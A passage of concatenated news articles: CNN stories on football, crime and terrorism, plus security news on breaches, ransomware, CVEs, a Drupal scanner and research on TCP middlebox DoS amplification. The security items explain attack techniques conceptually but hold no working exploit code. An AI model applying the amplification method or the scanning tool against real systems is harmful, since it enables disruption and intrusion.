can't get them to do," Peck told CNN."He has this almost telepathic conversation that goes on ... it's almost like a communication with his horses. The way he asks them to do things is very different from the way a show jumper would ask his or her horse to do something," she added."It's not just one horse, he controls several horse at the same time. The skill is just incredible."Extreme horsepower: Love and carriage hits London
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Story highlightsMarseille were playing Vitoria GuimaresEvra aimed kick at fan during the warm-upDefender was dismissed before kick-off (CNN)French footballer Patrice Evra has been suspended for at least one match after the Olympique Marseille defender aimed a high kick at one of his club's own supporters before a Europa League match Thursday. The sport's European governing body UEFA and Marseille have launched investigations into the incident which led to the defender's dismissal for violent conduct before kick-off. Follow @cnnsport
UEFA's Control, Ethics and Disciplinary Body will discuss the case at its next meeting on November 10. Under the governing body's rules for misconduct of players and officials, Evra is potentially facing a minimum five-match ban."It's sad scenes seeing Patrice Evra kicking his own fans..."Be honest, who expected to hear that line from @LaurensJulien tonight? 🙈 pic.twitter.com/7M9TceZj3z— BT Sport Football (@btsportfootball) November 2, 2017
A statement on Marseille's website said: "A professional player must keep his cool, face provocations and insults, as hard and unjustified as they are.Read More"Similarly, the club can only condemn by definition any destructive behavior of a pseudo supporter who insults his own players."The incident evoked echos of an incident in January 1995 when Manchester United's Eric Cantona launched a karate kick at a Crystal Palace supporter who had mocked the Frenchman from the Selhurst Park stands after he had been sent off. Cantona was subsequently handed a nine-month ban by England's Football Association.READ: Zinedine Zidane -- Real Madrid are not 'lost' READ: 'Destiny' against Atletico Madrid in the Champions LeagueREAD: Liverpool star Dejan Lovren reveals 'disgusting' social media death threatHeated exchangeFormer French international Evra, who played 81 games for France, had been named as a substitute by Marseille coach Rudi Garcia and was warming up to prepare for the game against Vitoria Guimaraes at the Estadio D Afonso Henriques.But he became involved in a heated exchange with a group of fans in an area of the stadium reserved for around 500 supporters of the French club.Evra was capped 81 times by France.The 36-year-old then directed a high kick at one of the fans and, after stadium stewards quickly broke up the melee, the former Manchester United defender was sent off by the referee.UEFA's live text commentary of the game said Evra was sent off in the "0" minute."Patrice Evra is the first player to be expelled before the start of a match in the history of the Europa League," tweeted statisticians Opta.Evra (C) is escorted off the pitch by teammates Portuguese defender Rolando and Brazilian defender Doria.In 2015, leading French football writer Philip Auclair wrote of the relationship between the Ligue 1 club and its fans: "The history of Marseille ... has been marked by animosity and, at times, near-warfare between its owners and the ultras, who cannot be uprooted."Marseille coach Garcia was also surprised by Evra's reaction."Pat has experience, and he must not react, it's obvious," manager Garcia told reporters. "Patrice is more than just an experienced player."However, Garcia was scathing of the fan who goaded Evra, adding: "He's not a supporter of Marseille, because you can't insult your own players, you have to be behind all of us."Marseille fans congregating at the club's home ground.Evra, who has struggled to gain a regular starting place this season at Marseille, has played for a number of leading European clubs, including Monaco and Juventus.During the 2010 World Cup, Evra, who was then captain of France, was involved in an altercation with fitness coach Robert Duverne.He was dropped for the final group game and subsequently suspended after the tournament.Six years ago, England's FA concluded Evra -- then playing for Manchester United -- was racially abused by Luis Suarez in a game against Liverpool -- at a match in October 2011. Now playing for Barcelona, Suarez was given an eight-game suspension.JUST WATCHEDKaren Bardsley: Manchester Derby is a 'battle for rights'ReplayMore Videos ...MUST WATCH (15 Videos)Karen Bardsley: Manchester Derby is a 'battle for rights'Is this the year Ajax reclaim European supremacy?Teqball World Championships pave the way for Olympics inclusionAlexia Putellas is hungry for more success in 2022Kylian Mbappé is hungry for more World Cup success in QatarKylian Mbappe on playing alongside Messi at PSG and what's in store for his futureTackling discrimination on a Chelsea matchdayAdnan Januzaj on Real Sociedad's rise in La LigaQatar 2022: How a unique World Cup will play out as seen from the airAxel Witsel: Borussia Dortmund's elder statesmanKhalida Popal and Andrea Radrizzani on evacuating the Afghan women's soccer teamGianni Infantino sees 'great evolution' in Qatar human rightsPeter Schmeichel: I want the next coach to 'get Manchester United under his skin'Lilian Thuram says players need to walk off the pitch when subjected to racial abuseThe footballer who changed his shirt number to highlight the climate crisisVisit CNN.com/sport for more news and videosIt was a grim night for Marseille, who lost the game 1-0 and also had Boubacar Kamara sent off three minutes from time.Garcia's team are second in Group I, two points behind leaders Red Bull Salzburg, after four games.
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(CNN)When Gareth Bale arrived at Real Madrid in September 2013, for a then-world record fee, it looked to be a match made in heaven.The forward was regarded as the next Galactico, the player to help Real through a golden period in the club's history and the man who would eventually fill Cristiano Ronaldo's shoes.Bale has lived up to most of the lofty expectations heaped upon him, winning four Champions Leagues, a La Liga title, and the Copa del Rey.But after six trophy-filled years in Spain, the 30-year-old is now being treated as a costly irritant: booed by his club's own fans and unwanted by his manager. READ: Guardiola hits back at Chinese media criticisms Read MoreREAD: Bale appears close to leaving Real How did it all get so ugly and what next for a winger who was once the world's most expensive player? During his first season in Spain, the Welshman scored the winning goals in the Champions League and Copa del Rey finals, the latter a stunning individual effort that displayed the pace, power and skill that had convinced Real to part with $120 million. In 2018 he scored what is widely regarded as the greatest goal in a Champions League final as he came off the bench to down Liverpool. But fast forward to the present day and Real boss Zinedine Zidane -- back for his second spell in charge -- is having to deny accusations of disrespect from Bale's agent, who took umbrage with the Frenchman saying: "We hope he leaves soon. It would be best for everyone."Bale didn't feature in Sunday's 3-1 pre-season defeat to Bayern Munich, though Zidane says that was the Welshman's decision. The relationship between player and manager appears to have broken down. Gareth Bale celebrates after scoring a stunning solo goal to win the Copa del Rey final."I have not disrespected anyone," the Real Madrid coach told reporters ahead of Tuesday's match against Arsenal in Washington. "The club is dealing with his departure. Period."The other day [against Bayern], Gareth didn't play because he didn't want to. He said the club was trying to negotiate his departure, and he didn't want to play because of that."Bale hasn't asked not to play tomorrow [Wednesday] ... so far. His situation is known by everyone and will not change. The club is going to do what they have to do with him."Bale came off the bench against Arsenal and scored to help Real Madrid come back from 2-0 to earn a draw, before missing a penalty in his team's victorious penalty shootout."He put in a good performance and I'm pleased for him," Zidane said. "He played today, he wanted to and he did a good job. He wanted to be with us today, he trained normally and played the match. "I make the decisions and he played one half. We'll have to see what happens. He's still here with us at this stage. "Nothing has changed, you know the situation," he added.Club legend?Had Bale performed as he has done for the past six years at any other club, he would be revered as a legend -- but this is Real Madrid and its fans have earned a reputation.When the going gets tough, the fans stop going -- or start booing.By the end of 2018 -- during the first somewhat barren spell this club had endured in the last seven years -- average attendances at the Bernabeu dwindled to 62,000, leaving almost 20,000 empty seats.Gareth Bale's relationship with manager Zinedine Zidane has reportedly deteriorated.That Bale is set to depart Real to no great eulogy or grand farewell from either fans of manager should perhaps come as no surprise, either. After all, Real fans whistled at goalkeeper Iker Casillas, Madrid born and bred, towards the end of his 25-year association with the club. Casillas had won every trophy there was to win -- three Champions Leagues, five league titles, a World Cup -- he was the club's captain and had made 725 appearances for his boyhood team, but aged 34 he departed with the relationship between him and Real soured. And these are the fans who once whistled at Ronaldo; the club's record goalscorer, the most successful player in the club's history. Bale has also been criticized for his love of golf. Reports emerged in some media outlets last season that the Cardiff-born star plays too much, does not mix with his teammates and goes to bed early. As far as crimes committed by professional athletes go, playing golf and early nights are not exactly up there.But the fans' frustration with his lengthy absences in recent seasons because of injuries is understandable. Muscle complaints have largely prevented Bale from filling the void left by Ronaldo, after the Portugal star departed for Juventus last summer. Indeed, the winger has been injured so much during his time in Spain that last year some members of the Spanish media gave him the moniker "Mr Glass."Though he made 29 league appearances for Real last season, he was mainly on the substitutes' bench towards the end of the campaign and did not join his teammates for the end-of-season lap of honor at the Bernabeu. Gareth Bale came off the bench against Liverpool to score the winning goal in the 2018 Champions League final.Where next?But it's impossible to deny that Bale's time at Real has been anything other than a success. Only Ronaldo has more Champions League titles than the Welshman -- Zidane won the competition once during his illustrious playing career.In his time at the Spanish club, Bale has collected 14 major trophies and his 102 goals and 65 assists in 231 matches -- 0.72 goals or assists every game -- is undeniably impressive. Bale has made more Real appearances and scored more goals for the Spanish giants than Zidane, whose playing career at Real was deemed a huge success. The former Tottenham star has undoubtedly produced for Real on the big occasions -- Alfredo di Stefano, Ferenc Puskas and Ronaldo are the only players to have scored more goals in European Cup finals. No British player has won more major titles or scored more top-flight goals abroad but, despite the statistics and the successes, Bale finds himself at a crossroads. Gareth Bale will likely be playing his football away from the Bernabeu in the new season.The player's agent told Sky Sports News Tuesday that his player will not move on loan. "There will be no makeshift deals to get him out of the club. Gareth is one of the best players on the planet. I can guarantee you he will not be going on loan to any club," said Jonathan Barnett. With three years remaining on his reported $18.7 million per year contract, Europe's top clubs will perhaps be unwilling to take that risk on an injury-prone 30-year-old, which is why he has been linked with a move to the Chinese Super League. The transfer window in China closes next Wednesday and Bale will reportedly have offers of wages totaling more than $1 million per week should he choose to move to Asia. It feels like an undeserving and underwhelming way for the career of a Real legend to peter out, but such is the circle of life at one of the world's most ruthless and successful clubs.
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Story highlightsThe man had dressed the corpses in clothing, police sayThe grave-robbing incidents began in and around Nizhny Novgorod two years agoThe corpses were women between the ages of 15-25, police sayA historian has been arrested in central Russia after police found the corpses of 29 women, dressed as dolls, in his apartment, authorities said this week.The 45-year-old man, who police did not identify, has been charged with desecrating bodies and graves, officials said.Video released by police showed an eerie collection of what looks like life-sized dolls, outfitted in shabby dresses and headscarves, their hands and faces wrapped in fabric. Authorities say the man also stole clothes from the graves when he took the bodies.Russian Interior Ministry spokesman Gen. Valery Gribakin told CNN police couldn't figure out for a long time who was behind the "numerous blasphemous acts against the graves and the dead bodies" at several cemeteries in and around Nizhny Novgorod, about 250 miles east of Moscow.The incidents started about two years ago, authorities said, with each case producing a public uproar in the region. Gribakin said police went the extra mile to find the culprit."Our leading theory was that it was done by some extremist organizations," Gribakin said. "We decided to beef up our police units and set up ... groups composed of our most experienced detectives who specialize in extremist crimes."But even seasoned investigators and forensic experts were shocked when their investigation led them to the historian and the contents of his apartment, where the women's mummified bodies were found. The corpses were those of women who died between the ages of 15 to 25, officials said.Gribakin also said during the search the police found "photographs and plaques from gravestones, doll-making manuals and well as maps of local cemeteries."Police said the man is a well-known historian specializing in Celtic studies who authored many books and articles, and used to be a college professor at some point.State-run RIA Novosti and local media in Nizhny Novgorod identified the man seen in the police video of the crime scene as Anatoly Moskvin, a resident of that city. Russian journalists have retrieved articles written by Moskvin in local newspapers from the past several years, indicating his profound interest in and great knowledge of all cemeteries across the region. The suspect faces charges of desecrating dead bodies and their burial sites, a crime punishable by up to three months in jail or a year of correctional labor.
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Remember "Crackas With Attitude"?
The hacking group behind a series of embarrassing hacks that targeted personal email accounts of senior officials at the FBI, the CIA, and the White House, among other United States federal agencies in 2015.
A member of Crackas With Attitude, who was arrested last year in September, has now been sentenced to five years in federal prison.
Justin Liverman, a 25-year-old man from Morehead City, who was known under the online alias "D3F4ULT," was arrested last year along with another member of the group—Andrew Otto Boggs, 23, of North Wilkesboro, who allegedly used the handle "INCURSIO."
The duo hacked into multiple government organizations between October 2015 and February 2016. Boggs was sentenced to two years in prison on June 30, 2017, for his role.
Liverman pleaded guilty on January 6 this year to conspiracy to hack U.S. government computers and accounts and was sentenced to 5 years in prison on Friday. He will also be forced to pay $145,000 in restitution.
According to the plea agreement, "beginning in November 2015, Liverman conspired to attempt to intimidate and harass U.S. officials and their families by gaining unauthorized access to victims' online accounts, among other things."
"Liverman publicly posted online documents and personal information unlawfully obtained from a victim's personal account; sent threatening text messages to the same victim's cellphone; and paid an unlawful 'phonebombing' service to call the victim repeatedly with a threatening message," U.S. prosecutors in the Eastern District Court of Virginia said.
Crackas With Attitude targeted more than ten U.S. government officials including the following and caused more than $1.5 million in losses to victims:
Hacked into the AOL email of former CIA director John Brennan and released personal details.
Hacked into the personal emails and phone accounts of the former US spy chief James Clapper.
Broke into the AOL email of the Ex FBI Deputy Director Mark Giuliano.
The hacking group also leaked the personal details of 31,000 government agents belonging to almost 20,000 FBI agents, 9,000 Department of Homeland Security officers, and some number of DoJ staffers.
According to the federal officials, the hacking group used social engineering to trick victims into revealing their account numbers, passwords, and other sensitive details, using which they gained access to their accounts.
However, a 17-year-old British teenager, who is known as CRACKA and the leader of the "Crackas With Attitude" hacking group, is actually responsible for carrying out the above attacks. His prosecution is still ongoing in the United Kingdom.
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(CNN)"Trainspotting 2" star Bradley Welsh has been shot dead in Scotland, the UK's Press Association agency has reported.The actor -- who appeared as gangland figure Doyle in the sequel to the hit movie about a group of heroin addicts in Edinburgh -- was killed in Scotland's capital on Wednesday night, the agency said.Police said they were called to an incident in the city at around 8:00 p.m. (3:00 p.m. ET), and a man was found seriously injured before dying at the scene."His death is being treated as suspicious and inquiries are continuing," police said in a statement provided to CNN.Welsh starred alongside Ewan McGregor, Ewen Bremner and Jonny Lee Miller in the popular follow-up movie, and has also appeared on TV series "Danny Dyer's Deadliest Men."Read MoreThe avid boxer also owned a gym in Edinburgh.Irvine Welsh, the writer of the Trainspotting novel on which the first movie was based, tweeted his condolences to his "amazing and beautiful friend."Bradley John Welsh, my heart is broken. Goodbye my amazing and beautiful friend. Thanks for making me a better person and helping me to see the world in a kinder and wiser way. 💚 pic.twitter.com/3duKqBxvxO— Irvine Welsh (@IrvineWelsh) April 18, 2019
"Thanks for making me a better person and helping me to see the world in a kinder and wiser way," tweeted Welsh, who was not related to the actor.
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Microsoft confirmed a new Zero Day critical vulnerability in its browser Internet Explorer. Flaw affects all versions of Internet Explorer, starting with IE version 6 and including IE version 11.
In a Security Advisory (2963983) released yesterday, Microsoft acknowledges a zero-day Internet Explorer vulnerability (CVE-2014-1776) is being used in targeted attacks by APT groups, but the currently active attack campaigns are targeting IE9, IE10 and IE11.
INTERNET EXPLORER 0-DAY VULNERABILITY (CVE-2014-1776)
According to Advisory, Internet Explorer is vulnerable to Remote Code Execution, which resides 'in the way that Internet Explorer accesses an object in memory that has been deleted or has not been properly allocated.' Microsoft said.
Microsoft Investigation team is currently working with FireEye Security experts, and dubbed the ongoing targeted campaign as "Operation Clandestine Fox".
In a blogpost, FireEye explained that an attacker could trigger the zero-day IE exploit through a malicious webpage that the targeted user has to access with one of the affected Internet Explorer browser. Successful exploitation of this vulnerability allows an attacker to execute arbitrary code within the browser in order to gain the same user rights as the current user.
CULPRIT: ADOBE FLASH PLUGIN
But, Internet Explorer zero-day exploit depends upon the loading of a Flash SWF file that calls for a Javascript in vulnerable version Internet Explorer to trigger the flaw, and which also allows the exploit to bypass Windows' ASLR and DEP protections on the target system by exploiting the Adobe Flash plugin.
According to the advisory, there is currently no security patch available for this vulnerability. "Collectively, in 2013, the vulnerable versions of IE accounted for 26.25% of the browser market." FireEye said.
MITIGATION - HOW TO PROTECT YOUR COMPUTER FROM ZERO-DAY IE EXPLOIT?
Microsoft is working on a security patch for Internet Explorer vulnerability, could be available from the Next Patch Tuesday update (13th May, 2014). However, you can still migrate the zero-day threat by following below given methods:
Install Enhanced Mitigation Experience Toolkit (EMET 4.1), a free utility that helps prevent vulnerabilities in software from being successfully exploited.
You can protect against exploitation by changing your settings for the Internet security zone to block ActiveX controls and Active Scripting.
Tools > Internet Options > Security > Internet > Custom Level > Under Scripting Settings > Disable Active Scripting
Under Local intranet's Custom Level Settings > Disable Active Scripting
If you are using Internet Explorer 10 or the higher version, enable Enhanced Protected Mode to prevent your browser from Zero-Day Attack.
IE Exploit will not work without Adobe Flash. So Users are advised to disable the Adobe Flash plugin within IE.
De-Register VGX.dll (VML parser) file, which is responsible for rendering of VML (Vector Markup Language) code in web pages, in order to prevent exploitation. Run following command:
regsvr32 -u "%CommonProgramFiles%\Microsoft Shared\VGX\vgx.dll"
Stay Safe!
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The Apache Software Foundation on Friday addressed a high severity vulnerability in Apache OFBiz that could have allowed an unauthenticated adversary to remotely seize control of the open-source enterprise resource planning (ERP) system.
Tracked as CVE-2021-26295, the flaw affects all versions of the software prior to 17.12.06 and employs an "unsafe deserialization" as an attack vector to permit unauthorized remote attackers to execute arbitrary code on a server directly.
OFBiz is a Java-based web framework for automating enterprise processes and offers a wide range of functionality, including accounting, customer relationship management, manufacturing operations management, order management, supply chain fulfillment, and warehouse management system, among others.
Specifically, by exploiting this flaw, a malicious party can tamper with serialized data to insert arbitrary code that, when deserialized, can potentially result in remote code execution.
"An unauthenticated attacker can use this vulnerability to successfully take over Apache OFBiz," OFBiz developer Jacques Le Roux noted.
Unsafe deserialization has been a source of data integrity and other security issues, with the Open Web Application Security Project (OWASP) noting that "data which is untrusted cannot be trusted to be well formed, [and that] malformed data or unexpected data could be used to abuse application logic, deny service, or execute arbitrary code, when deserialized."
r00t4dm at Cloud-Penetrating Arrow Lab, MagicZero from SGLAB of Legendsec at Qi'anxin Group, and Longofo at Knownsec 404 Team have been credited with reporting the vulnerability.
It's recommended to upgrade Apache OFBiz to the latest version (17.12.06) to mitigate the risk associated with the flaw.
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Any occasion that captures public attention – regardless of how sensitive – comes out to be an opportunity for spammers and hackers to snatch users' personal information and spread malware, and the tragedy of the crashed Malaysia Airlines flight MH17 is no exception.
According to the U.S. intelligence officials, Malaysia Airline Flight MH17, a Boeing 777 aircraft carrying 283 passengers and 15 crew members, was struck by a ground-to-air missile. So far, it's unclear, whether the missile was launched by the Russian military or pro-Russian separatist rebels. Ukraine and the insurgents blamed each other.
Spammers and cybercriminals are quick to take advantage of the tragedy and started spreading malware through the social media websites, abusing the mystery behind the crash of Malaysia Airline Flight MH17.
Researchers at the anti-virus firm Trend Micro came across some suspicious tweets written in Indonesian language. The cybercriminals are using the trending #MH17 to lure innocent users who are actually looking for news related to Malaysian Airplane Flight MH17 crash down.
The suspicious tweets started spreading just after Malaysian Airline tweeted on July 17: "Malaysia Airlines has lost contact of MH17 from Amsterdam. The last known position was over Ukrainian airspace."
Hundreds of users have already retweeted those malicious tweets that indirectly encourage their individual followers to visit the malicious links.
The website belongs to a shared hosting located in U.S which also host number of legitimate domains and researchers concluded that the purpose behind the spam campaign could be to gain attention of the visitors in order to make money from the advertisement.
Moreover, the shared hosting also provide hostage to a number of malicious domains as well, that are connected to a ZeuS variant and SALITY malware. ZeuS are very well known to steal financial information of the users, while SALITY is a "malware family of file infectors that infect .SCR and .EXE files," researchers said in a blog post.
"Once systems are infected with this file infector, it can open their systems to other malware infections thus compromising their security."
This is not first time cyber criminals targeted Malaysian airlines. Also few months back, spammers targeted missing Malaysian plan and spread malware on the social networking sites including Facebook, abusing the mystery behind the Malaysia Airline Flight MH370, a Boeing 777-200 aircraft that had gone missing by the time it flew from Kuala Lumpur to Beijing.
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An "aggressive" financially motivated threat group tapped into a zero-day flaw in SonicWall VPN appliances prior to it being patched by the company to deploy a new strain of ransomware called FIVEHANDS.
The group, tracked by cybersecurity firm Mandiant as UNC2447, took advantage of an "improper SQL command neutralization" flaw in the SSL-VPN SMA100 product (CVE-2021-20016, CVSS score 9.8) that allows an unauthenticated attacker to achieve remote code execution.
"UNC2447 monetizes intrusions by extorting their victims first with FIVEHANDS ransomware followed by aggressively applying pressure through threats of media attention and offering victim data for sale on hacker forums," Mandiant researchers said. "UNC2447 has been observed targeting organizations in Europe and North America and has consistently displayed advanced capabilities to evade detection and minimize post-intrusion forensics."
CVE-2021-20016 is the same zero-day that the San Jose-based firm said was exploited by "sophisticated threat actors" to stage a "coordinated attack on its internal systems" earlier this year. On January 22, The Hacker News exclusively revealed that SonicWall had been breached by exploiting "probable zero-day vulnerabilities" in its SMA 100 series remote access devices.
Successful exploitation of the flaw would grant an attacker the ability to access login credentials as well as session information that could then be used to log into a vulnerable unpatched SMA 100 series appliance.
According to the FireEye-owned subsidiary, the intrusions are said to have occurred in January and February 2021, with the threat actor using a malware called SombRAT to deploy the FIVEHANDS ransomware. It's worth noting that SombRAT was discovered in November 2020 by BlackBerry researchers in conjunction with a campaign called CostaRicto undertaken by a mercenary hacker group.
UNC2447 attacks involving ransomware infections were first observed in the wild in October 2020, initially compromising targets with HelloKitty ransomware, before swapping it for FIVEHANDS in January 2021. Incidentally, both the ransomware strains, written in C++, are rewrites of another ransomware called DeathRansom.
"Based on technical and temporal observations of HelloKitty and FIVEHANDS deployments, HelloKitty may have been used by an overall affiliate program from May 2020 through December 2020, and FIVEHANDS since approximately January 2021," the researchers said.
FIVEHANDS also differs from DeathRansom and HelloKitty in the use of a memory-only dropper and additional features that allow it to accept command-line arguments and utilize Windows Restart Manager to close a file currently in use prior to encryption.
The disclosure comes less than two weeks after FireEye divulged three previously unknown vulnerabilities in SonicWall's email security software that were actively exploited to deploy a web shell for backdoor access to the victim. FireEye is tracking this malicious activity under the moniker UNC2682.
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DPScan : Drupal Security Scanner Released
The First Security scanner for Drupal CMS has been released by Ali Elouafiq, on his Blog. His team develop a tool that will enumerate at least the modules used by Drupal so we can simulate a White Box audit on our private machines.
This small tool is public and accessible to you for use however you please. It may help other auditors or penetration testers do their job faster, Here is a little demonstration. After downloading the script (in python), you simply type:
> python DPScan.py [website url]
You can download Drupal Security Scanner here.
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In the wake of data abuse scandals and several instances of malware app being discovered on the Play Store, Google today expanded its bug bounty program to beef up the security of Android apps and Chrome extensions distributed through its platform.
The expansion in Google's vulnerability reward program majorly includes two main announcements.
First, a new program, dubbed 'Developer Data Protection Reward Program' (DDPRP), wherein Google will reward security researchers and hackers who find "verifiably and unambiguous evidence" of data abuse issues in Android apps, OAuth projects, and Chrome extensions.
Second, expanding the scope of its Google Play Security Rewards Program (GPSRP) to include all Android apps from the Google Play Store with over 100 million or more installs, helping affected app developers fix vulnerabilities through responsibly disclosures.'
Get Bounty to Find Data-Abusing Android & Chrome Apps
The data abuse bug bounty program aims to avoid scandals like Cambridge Analytica that hit Facebook with $5 billion in fines for failing to identify situations where user data is being used or sold unexpectedly or repurposed illegitimately without user consent.
"If data abuse is identified related to an app or Chrome extension, that app or extension will accordingly be removed from Google Play or Google Chrome Web Store," Google says in its blog post published today.
"In the case of an app developer abusing access to Gmail restricted scopes, their API access will be removed."
Google has not yet announced any reward table for the DDPRP program but ensured that a single report could net up to $50,000 in bounty depending on the impact.
Bug Bounty On All Android Apps With 100 Million+ Downloads
On the other hand, the GPSRP Program, which was initially launched in 2017, was until today limited to only reporting vulnerabilities in popular Android apps in Google Play Store.
With the latest announcement, Google will now work with developers of hundreds of thousands of Android apps, each with at least 100 million downloads, helping them to receive vulnerability reports and instructions on how to patch them over their Play Consoles.
"These apps are now eligible for rewards, even if the app developers don't have their own vulnerability disclosure or bug bounty program," Google says.
"If the developers already have their own programs, researchers can collect rewards directly from them on top of the rewards from Google."
Part of Google's App Security Improvement (ASI) program, this existing initiative has already helped over 300,000 developers fix more than 1,000,000 apps on the Google Play Store.
Hopefully, both measures will now allow Google to prevent malicious Android apps and Chrome extensions from abusing its users' data, as well as to beef up the security of apps distributed through Play Store.
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Former Amazon employee Paige Thompson, who was arrested last month in relation to the Capital One data breach, has been accused of hacking not only the U.S. credit card issuer, but also more than 30 other companies.
An indictment unsealed on Wednesday revealed that Thompson not just stole data from misconfigured servers hosted with a cloud-computing company, but also used the computing power of hacked servers to mine for cryptocurrency, a practice commonly known as "Cryptojacking."
Thompson, known online as "erratic," was arrested by the FBI on July 29 concerning a massive breach in Capital One Financial Corp that exposed the personal information of more than 100 million credit card applicants in the United States and 6 million in Canada.
The stolen data included approximately 140,000 Social Security numbers and 80,000 bank account numbers linked to United States customers, and 1 million Social Insurance numbers belonged to Canadian citizens, along with some customers' names, addresses, dates of birth, credit scores, credit limits, balances, payment history, and contact information.
Law enforcement became aware of Thompson's activity after she posted information relating to her theft of Capital One data on her GitHub account.
However, a federal grand jury yesterday charged Thompson with a total of two counts—one count of wire fraud and one count of computer fraud and abuse—for illicitly accessing data on more than 30 other entities, including Capital One, U.S. Department of Justice (DOJ) said.
While the indictment [PDF] did not name the involved cloud-computing company, it's highly likely to be Amazon as Thompson previously worked for Amazon Web Services, which provides cloud computing services to Capital One among others.
But it should also be noted that Amazon Web Services was not compromised in any way since Thompson gained access to the cloud server due to Capital One's misconfiguration and not through a vulnerability in Amazon's infrastructure.
The indictment also did not provide names of the other 30 victims, but it did describe three of the targeted organizations as a state agency outside the State of Washington, a telecommunications conglomerate outside the U.S. and a public research university outside the State of Washington.
Investigators have found no evidence of Thompson selling or disseminating any of the stolen information.
The 33-year-old Seattle-based software engineer remains in custody and is scheduled to be arraigned on the indictment in U.S. District Court in Seattle on September 5. She could face up to 25 years in prison if convicted.
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Story highlightsNine were acquitted of murdering paramilitary leader Tommy English in October 2000The judge branded the prosecution witnesses "unreliable"Brothers David and Robert Stewart were prosecution witnessesJustice: Stewarts were "ruthless terrorists who had lived on a daily diet of lies"One of Northern Ireland's biggest and most expensive terrorist trials ended Wednesday with 12 of 13 defendants cleared of all charges against them, including murder, kidnapping and having guns.The suspected members of the pro-British or loyalist paramilitary group the Ulster Volunteer Force (UVF) were being tried at Belfast Crown Court on the word of two self-confessed UVF members, brothers David and Robert Stewart.Nine of the accused were acquitted of murdering paramilitary leader Tommy English in October 2000. The 40-year-old Ulster Defence Association (UDA) member was gunned down in front of his wife and young children on Halloween night during a bloody feud between rival groups.The Stewart brothers admitted to their part in English's killing and agreed to testify to get a reduced sentence. The so-called "supergrass" non-jury trial started in September 2011 but Wednesday ended with the judge branding the prosecution witnesses "unreliable."Justice John Gillen said the Stewarts were "ruthless terrorists who had lived on a daily diet of lies."Up to 200 people including armed police were in the courtroom, and supporters cheered when the not guilty verdicts were read out. A spokesman for the UVF-linked Progressive Unionist Party, Ken Wilkinson, said the proceedings had been "a show trial" which had cost "in the region of 20 million pounds" (approximately $31 million). He added, "The supergrass system failed in the 1980s and it has failed today." Supergrass is a slang term for an informer.The one defendant convicted of any offenses was found guilty of possession of a sledgehammer intended for use in terrorism and intending to pervert justice.One of those cleared of murder is alleged loyalist leader Mark Haddock, who had been accused of ordering the death of UDA boss English. Haddock, aged 43, had been named as a police agent in a 2007 report on the UVF by former Northern Ireland police ombudsman Nuala O'Loan. O'Loan said a UVF gang based in the Mount Vernon estate in north Belfast had been involved in up to 15 murders and that the Northern Ireland police special branch unit had allowed informers within the Mount Vernon group to act with impunity.The Ulster Volunteer Force and Ulster Defence Association were responsible for the killings of hundreds of people during the conflict between pro-British and pro-Irish forces in Northern Ireland over a 30-year period known as the Troubles. Most of their victims were Catholic civilians. The groups have remained active since the signing of the Good Friday peace agreement in 1998.
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Weaknesses in the implementation of TCP protocol in middleboxes and censorship infrastructure could be weaponized as a vector to stage reflected denial of service (DoS) amplification attacks against any target, surpassing many of the existing UDP-based amplification factors to date.
Detailed by a group of academics from the University of Maryland and the University of Colorado Boulder at the USENIX Security Symposium, the volumetric attacks take advantage of TCP-non-compliance in-network middleboxes — such as firewalls, intrusion prevention systems, and deep packet inspection (DPI) boxes — to amplify network traffic, with hundreds of thousands of IP addresses offering amplification factors exceeding those from DNS, NTP, and Memcached.
The research, which received a Distinguished Paper Award at the conference, is the first of its kind to describe a technique to carry out DDoS reflected amplification attacks over the TCP protocol by abusing middlebox misconfigurations in the wild, a method previously deemed effective at preventing such spoofing attacks.
Reflected amplification attacks are a type of DoS attacks in which an adversary leverages the connectionless nature of UDP protocol with spoofed requests to misconfigured open servers in order to overwhelm a target server or network with a flood of packets, causing disruption or rendering the server and its surrounding infrastructure inaccessible. This typically occurs when the response from the vulnerable service is larger than the spoofed request, which can then be leveraged to send thousands of these requests, thereby significantly amplifying the size and bandwidth issued to the target.
While DoS amplifications are traditionally UDP-based owing to complications arising out of TCP's three-way handshake to set up a TCP/IP connection over an IP based network (SYN, SYN+ACK, and ACK), the researchers found that a large number of network middleboxes do not conform to the TCP standard, and that they can "respond to spoofed censored requests with large block pages, even if there is no valid TCP connection or handshake," turning the devices into attractive targets for DoS amplification attacks.
"Middleboxes are often not TCP-compliant by design: many middleboxes attempt [to] handle asymmetric routing, where the middlebox can only see one direction of packets in a connection (e.g., client to server)," the researchers said. "But this feature opens them to attack: if middleboxes inject content based only on one side of the connection, an attacker can spoof one side of a TCP three-way handshake, and convince the middlebox there is a valid connection."
Put differently, the mechanism hinges on tricking the middlebox into injecting a response without completing the three-way handshake, subsequently using it to access a forbidden domain such as pornography, gambling, and file sharing sites, causing the middlebox to respond with a block page, which would be much larger than the censored requests, thus resulting in an amplification.
What's more, not only do these amplified responses come predominantly from middleboxes, a chunk of those network inspection equipment are nation-state censorship apparatus, highlighting the role played by such infrastructure in enabling governments to suppress access to the information within their borders, and worse, allow adversaries to weaponize the networking devices to attack any victim on the internet.
"Nation-state censorship infrastructure is located at high-speed ISPs, and is capable of sending and injecting data at incredibly high bandwidths," the researchers said. "This allows an attacker to amplify larger amounts of traffic without worry of amplifier saturation. Second, the enormous pool of source IP addresses that can be used to trigger amplification attacks makes it difficult for victims to simply block a handful of reflectors. Nation-state censors effectively turn every routable IP addresses (sic) within their country into a potential amplifier."
"Middleboxes introduce an unexpected, as-yet untapped threat that attackers could leverage to launch powerful DoS attacks," the researchers added. "Protecting the Internet from these threats will require concerted effort from many middlebox manufacturers and operators."
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Story highlights Terror group claims responsibility, according to a statement circulating online Three explosions kill at least 45, injure 100 others near Damascus, report saysAttack started with a blast at a bus terminal, followed by two suicide bombings (CNN)ISIS claimed responsibility for a triple bombing Sunday that killed at least 45 people and injured more than 100 others in a Damascus suburb, according to a statement circulating online from supporters of the terrorist group. Syrian Prime Minister Wael al-Halqi reacted to the carnage on the southern outskirts of Damascus. "The aim of this cowardly and desperate terrorist attack is to raise the morale of the defeated terrorist groups following the great victories that our brave army has accomplished in several areas," the state-run SANA news agency reported that Halqi said. Photos: The ISIS terror threat Photos: The ISIS terror threatWounded passengers are treated following a suicide bombing at the Brussels Airport on March 22, 2016. The attacks on the airport and a subway killed 32 people and wounded more than 300. ISIS claims its "fighters" launched the attacks in the Belgian capital.Hide Caption 1 of 68 Photos: The ISIS terror threatSyrians gather at the site of a double car bomb attack in the Al-Zahraa neighborhood of the Homs, Syria, on February 21, 2016. Multiple attacks in Homs and southern Damascus kill at least 122 and injure scores, according to the state-run SANA news agency. ISIS claimed responsibility.Hide Caption 2 of 68 Photos: The ISIS terror threatSyrian pro-government forces gather at the site of a 